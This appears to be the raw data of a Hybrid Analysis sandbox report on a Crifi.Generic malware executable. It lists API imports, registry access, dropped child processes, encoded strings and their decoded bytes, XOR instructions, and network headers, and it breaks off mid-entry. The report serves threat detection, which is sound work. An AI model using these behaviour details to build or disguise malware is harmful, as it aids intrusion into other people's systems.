26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample e8ca98e34dd9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e8ca98e34dd9…. Malware family: Crifi.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 31 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3"],"about":{"@type":"SoftwareApplication","name":"c30b12c3a53f8b45c905634adcd928dd.exe","applicationCategory":["peexe","executable"],"identifier":"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":12,"total":25},"behavioralIndicators":{"malicious":31,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T25c4,Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "MulDiv"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "FreeSid"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDriveTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "DecryptFileA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDesktopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueA"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetShortPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "FreeResource"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumeInformationA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "SHBrowseForFolder"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CharUpperA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDeviceCaps"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSetInformation"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextA"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBeep"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")28:T430,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindResourceA" with parameter "18158288" - (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindResourceA" with parameter "18158328" - (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindResourceA" with parameter "18158344" - (UID: 00000000-00001476) "Px7mP64.exe" called "FindResourceA" with parameter "1381072" - (UID: 00000000-00003376) "Px7mP64.exe" called "FindResourceA" with parameter "1381112" - (UID: 00000000-00003376) "Px7mP64.exe" called "FindResourceA" with parameter "1381128" - (UID: 00000000-00003376) "yX3Tk97.exe" called "FindResourceA" with parameter "19665616" - (UID: 00000000-00000292) "yX3Tk97.exe" called "FindResourceA" with parameter "19665656" - (UID: 00000000-00000292) "yX3Tk97.exe" called "FindResourceA" with parameter "19665672" - (UID: 00000000-00000292) "3Wl168Kl.exe" called "FindResourceW" with parameter "200" - (UID: 00000000-00006000)29:T654,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204784'}" (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204736'}" (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18204688'}" (UID: 00000000-00001476) "Px7mP64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427568'}" (UID: 00000000-00003376) "Px7mP64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427520'}" (UID: 00000000-00003376) "Px7mP64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427472'}" (UID: 00000000-00003376) "yX3Tk97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19712112'}" (UID: 00000000-00000292) "yX3Tk97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19712064'}" (UID: 00000000-00000292) "yX3Tk97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '19712016'}" (UID: 00000000-00000292) "3Wl168Kl.exe" called "LoadResource with parameter {'hModule': '1869021184', 'hResInfo': '1869197832'}" (UID: 00000000-00006000) "AppLaunch.exe" called "LoadResource with parameter {'hModule': '1783365632', 'hResInfo': '1784406392'}" (UID: 00000000-00004648) "AppLaunch.exe" called "LoadResource with parameter {'hModule': '1783365632', 'hResInfo': '1784406376'}" (UID: 00000000-00004648)2a:T9b2,Found reference to "AesGcm256" (Indicator: "Aes"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00004648.00001228.5790327.00402000.wprm") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10" (Indicator: "SHA384"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>" (Indicator: "SHA384"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10" (Indicator: "SHA384"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>" (Indicator: "SHA384"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found reference to "Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" (Indicator: "SHA384"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" (Indicator: "SHA384"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp")2b:T689,"5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "5IC74Hi.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "5IC74Hi.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "5IC74Hi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "5IC74Hi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "5IC74Hi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "5IC74Hi.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT")2c:T1396,"AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d97c73a86380768ce089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZcHqzfop+geCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZcHqzfop+geCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d9707ab37e8a7e81e089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjfemyveYp9hOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjfemyveYp9hOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838df7a6caf798a7d84e089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjWdGa+eIl9juCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjWdGa+eIl9juCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d67466be78897d8ee089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o6oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o6oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3aa28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o7oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o7oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3ba28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o8oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o8oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3ca28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o9oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pcbBinary": "60000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "o9oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo" "cchString": "128" "dwFlags": "1" "pbBinary": "a3da28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28a28" "pcbBinary": "60000000"}2d:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-15-00151F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-15-00151F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-16-001544B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-16-001544B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-22-0015681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-22-0015681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-26-001524E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-26-001524E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-29-001552B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-29-001552B6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003376-21221-31-00152390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003376-21221-31-00152390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-33-00152F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-33-00152F1D Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003376-21221-36-00153BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003376-21221-36-00153BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-37-00153FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-37-00153FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-40-00152267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-40-00152267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-41-00156495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-41-00156495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-42-0015202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00003376-21221-42-0015202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-42-0015202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-43-00151AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-43-00151AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-44-00152AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-44-00152AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-52-00154EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-52-00154EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-57-00156298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-57-00156298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-59-0015621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-59-0015621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-60-0015597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-60-0015597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-62-001555A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-62-001555A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-63-00155467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-63-00155467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-65-001553A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-65-001553A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-66-00152630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-66-00152630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-71-00152CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-71-00152CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-72-001518A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-72-001518A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003376-21221-73-001517EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003376-21221-73-001517EE2e:T517a,Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: 